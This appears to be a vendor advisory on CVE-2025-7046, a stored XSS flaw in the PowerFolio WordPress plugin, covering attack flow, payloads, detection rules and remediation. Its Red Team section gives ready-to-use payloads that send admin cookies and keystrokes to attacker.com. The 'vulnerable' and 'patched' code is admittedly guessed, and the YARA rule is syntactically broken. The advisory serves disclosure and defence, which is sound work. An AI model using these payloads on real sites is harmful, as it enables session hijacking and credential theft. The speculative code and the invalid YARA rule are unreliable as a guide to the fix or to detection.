CVE-2025-7046

Executive Summary

CVE-2025-7046 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the PowerFolio plugin for WordPress (versions up to and including 3.2.0). This plugin is used to create portfolios and image galleries within the Elementor page builder. The vulnerability resides in the insufficient sanitization of "Custom JS Attributes" within the plugin's widgets. An authenticated attacker with at least Contributor-level access can inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious widget, the script executes in their browser, potentially leading to session hijacking, defacement, or further compromise. The vendor has released a full fix in version 3.2.1.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The PowerFolio plugin is distributed through the official WordPress plugin repository. Users who have installed the plugin via the WordPress admin dashboard or directly from the repository are affected. There is no associated NPM, PyPI, Go, or Ruby package. The risk is limited to WordPress sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low - No special conditions are required.
• Privileges Required (PR): Low - Requires Contributor-level access or higher.
• User Interaction (UI): None - The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed - The vulnerable component (plugin) impacts the broader WordPress application.
• Confidentiality (C): Low - Limited data exposure (e.g., cookies, page content).
• Integrity (I): Low - Limited ability to modify content (e.g., inject scripts).
• Availability (A): None - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation (e.g., stealing admin cookies) and the prevalence of WordPress make this a significant threat.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS. The PowerFolio plugin allows users to add custom JavaScript attributes (e.g., onclick, onmouseover) to its widgets (like image galleries or portfolio items). The plugin fails to properly sanitize these attributes before storing them in the database and rendering them on the frontend.

Attack Flow:

1. An attacker with Contributor-level access (or higher) creates or edits a page/post using the Elementor editor.
2. The attacker adds a PowerFolio widget (e.g., "Portfolio Grid").
3. In the widget settings, the attacker finds a field for "Custom JS Attributes" or similar.
4. The attacker injects a malicious payload, such as: onmouseover="alert('XSS')" or onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)".
5. The plugin stores this payload in the WordPress database without proper sanitization.
6. When any user (including administrators) visits the page, the browser renders the widget with the malicious attribute.
7. The script executes in the context of the victim's session.

The root cause is insufficient input sanitization and output escaping. The plugin likely uses esc_attr() or similar functions incorrectly, or fails to escape the entire attribute string.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.2.0): The plugin likely outputs the custom JS attributes directly without proper escaping. A simplified example:

// Vulnerable: Direct output without escaping
echo '<div ' . $custom_js_attributes . '>';

Patched Code (3.2.1): The fix involves properly sanitizing the input and escaping the output. A simplified example:

// Patched: Sanitize and escape
$sanitized_attributes = sanitize_text_field( $custom_js_attributes );
echo '<div ' . esc_attr( $sanitized_attributes ) . '>';

The sanitize_text_field() function strips out dangerous HTML/JS, and esc_attr() ensures the output is safe for HTML attributes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with PowerFolio plugin <= 3.2.0.
• An account with Contributor-level access or higher.

Steps:

1. Log in to WordPress as a Contributor.
2. Create a new page or edit an existing one using Elementor.
3. Add a PowerFolio widget (e.g., "Portfolio Grid").
4. In the widget settings, locate the "Custom JS Attributes" field.
5. Inject a payload. Example for stealing cookies:

   onfocus="fetch('https://attacker.com/steal?c='+document.cookie)"
   

6. Save the page.
7. Send the page link to an administrator or wait for them to visit it.
8. The script executes, sending the admin's cookies to the attacker's server.

Example Payloads:

• Alert: onmouseover="alert(1)"
• Redirect: onload="window.location='https://evil.com'"
• Keylogger: onkeypress="fetch('https://attacker.com/k?k='+String.fromCharCode(event.which))"

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual Elementor widget configurations.
• Look for pages containing suspicious on* attributes in the HTML source.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Prevention:

• Immediately upgrade to PowerFolio 3.2.1 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict Contributor-level access to trusted users only.
• Use a WordPress security plugin (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains containing document.cookie or similar data.
• Suspicious Referer headers pointing to pages with PowerFolio widgets.

Host IOCs:

• WordPress database entries in wp_postmeta or wp_posts containing on* attributes (e.g., onmouseover, onfocus).
• Modified page content in the wp_posts table with injected JavaScript.

File IOCs:

• No specific file changes, as the payload is stored in the database.

Detection Engineering

YARA Rule

rule Detect_PowerFolio_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting PowerFolio plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7046"
    strings:
        $xss1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $xss2 = /<script\b[^>]*>/i
        $xss3 = /javascript\s*:/i
    condition:
        any of ($xss*) and (
            // Look for PowerFolio specific markers
            for any i in (1..filesize) : (
                @xss1[i] and (
                    // Check if near PowerFolio widget data
                    # of ( "powerfolio" or "powerfolio-widget" ) > 0
                )
            )
        )
}

Sigma Rule

title: PowerFolio Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in WordPress PowerFolio plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.url|contains: 
            - "/wp-content/plugins/powerfolio/"
        http.request_body|contains:
            - "onmouseover"
            - "onfocus"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript attributes by developers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7046 PowerFolio Stored XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/powerfolio/"; http_uri; pcre:"/(on\w+\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]|javascript\s*:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade PowerFolio: Update to version 3.2.1 or later immediately.
2. Audit Existing Content: Scan all pages and posts for injected XSS payloads. Use a tool like Wordfence or manually check the database.
3. Review User Permissions: Limit Contributor-level access to trusted users only. Consider using a role editor plugin to restrict Elementor widget usage.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers.
• Regularly update all WordPress plugins and themes.
• Conduct periodic security audits of custom code and third-party plugins.

Valters IT
Securing Digital Frontiers